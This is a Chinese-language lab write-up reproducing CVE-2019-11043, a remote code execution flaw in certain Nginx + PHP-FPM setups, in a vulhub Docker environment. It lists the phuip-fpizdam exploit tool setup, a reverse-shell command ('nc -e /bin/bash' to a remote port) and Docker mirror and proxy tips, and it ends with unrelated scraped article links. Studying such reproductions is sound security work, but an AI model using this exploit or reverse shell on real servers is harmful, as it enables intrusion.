漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {...fastcgi_split_path_info ^(.+?\.php)(/.*)$;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_pass   php:9000;...
}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

漏洞复现

使用 p 牛的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

准备工作:安装 docker、golang 环境

  1. sudo apt-get install docker docker-compose
  2. sudo apt install golang

搭建漏洞环境

  1. git clone https://github.com/vulhub/vulhub.git
  2. cd vulhub/php/CVE-2019-11043 && docker-compose up -d

启动环境之后,就可以看到漏洞环境的默认页面。在此为 http://127.0.0.1:8080/index.php。

安装漏洞利用工具

  1. git clone https://github.com/neex/phuip-fpizdam.git
  2. cd phuip-fpizdam
  3. go get -v && go build

漏洞利用

url 中空格不影响命令执行:

p 牛友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

反弹 shell:

因为我用的是P牛的环境,里面没有 nc 命令。所以不能用 nc 的反弹 shell。

给此docer容器装一个 nc:

p牛的环境有两个 docker 镜像,一个是nginx,一个是 php:

进入 nginx 的容器:

如图就装好了。

exit 此容器。尝试在url里面 nc 我本地监听的端口:

没有成功。

但是继续观察,可能是镜像不对。因为p牛封装的这个环境有两个 docker,刚刚都是在 nginx docker 镜像里面尝试的:

试试在php镜像里面装nc。毕竟、

换镜像装 nc:

然后 nc 连接成功:

试下反弹 shell:

  1. nc -e /bin/bash 10.x.x.39 7777

反弹 shell 成功!

科学提速

这个环境我下了很久没下下来,我之前一直在国外,对一些换源、换镜像不熟悉。

  • 方法一:阿里云容器镜像加速器

URL: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors

进去之后获取:

然后配置 docker 文件:

:上面的是阿里云,下面的是中科院。阿里云的更快,只用阿里云就行了。

然后 restart 一下 docker:

  1. sudo systemctl daemon-reload
  2. sudo systemctl restart docker

然后就可以了!

参考链接:

[1] 镜像中心-镜像加速器
[2] 官方镜像加速 操作手册

重启 docker 之后,速度仿佛换了个 docker,很爽。

  • 方法二:系统代理

基于 http 协议的:

需要凭据:

  1. export http_proxy="http://用户名:密码@ip:端口号/"
  2. export https_proxy="http://用户名:密码@ip:端口号/"

无需凭据:

  1. export http_proxy="http://ip:端口号/"
  2. export https_proxy="http://ip:端口号/"

注意:这种命令行运行是临时的,要全局的话加入到 etc/profile

基于 socks5 协议:

proxychains

php 远程代码执行漏洞复现 cve-2019-11043相关推荐

  1. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

  2. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  3. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  4. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  5. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

  6. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  7. CVE-2022-21907 Microsoft Windows HTTP 协议栈远程代码执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载: 开启IIS: 0x06 漏洞复现: 利用POC: 0x07 流量分析: 客户端: 0 ...

  8. cve-2017-12617 tomcat远程代码执行漏洞复现测试

    0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...

  9. CNVD-2020-46552 深信服EDR远程代码执行漏洞复现

    目录 1.漏洞概述 2.影响版本 3.漏洞等级 4.漏洞复现 5.漏洞修复 1.漏洞概述 终端检测响应平台(EDR)是深信服公司提供的一套终端安全解决方案,方案由轻量级的端点安全软件和管理平台软件共同 ...

最新文章

  1. java实现微信创建菜单_java实现微信公众平台自定义菜单的创建示例
  2. aotuwried是java的注解吗_@autowire注入为null
  3. wetool个人版_个人版wetool -公众号
  4. POJ 1694 An Old Stone Game ★(排序+树+递归)
  5. Java集合的框架和实现类
  6. OC中类别、扩展、协议与托付
  7. 从甲骨文中国裁员说起
  8. 根据银行卡号码获取银行卡归属行以及logo图标
  9. python操作cad的模块_利用python控制Autocad:pyautocad方式
  10. 关于微信小程序img标签不能显示图片的问题
  11. 微信小程序加载图片优化
  12. 网页pdf打印——window.print()
  13. python代码画玫瑰花
  14. 英语音标,元音汇总(0基础学英语!必备!)
  15. Verilog状态机常见三种写法
  16. Web 身份证读取,ActiveX 网页 二代身份证读取
  17. java 下载图片流
  18. 茅台与小米搞饥饿营销?
  19. ipad2越狱完成!
  20. 还是觉得WinXP中Luna的Theme是经典啊!用了Royal不多会儿就疲劳了!

热门文章

  1. Silverlight中使用控件模板的问题(自己添加控件的方法)
  2. android oppo 权限,OPPO Reno可尝鲜Android Q:教程如下
  3. php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2
  4. js闭包循环原因_常见的三个 JS 面试题
  5. OpenStack 虚拟机热迁移流程图
  6. Linux_SquidProxyServer代理服务器
  7. laravel oauth2.0 文件上传报错
  8. 文字如何实现完美UI?文本排版设计告诉你
  9. 闭锁CountDownLatch和栅栏CyclicBarrier之异同举例
  10. 01配置管理过程指南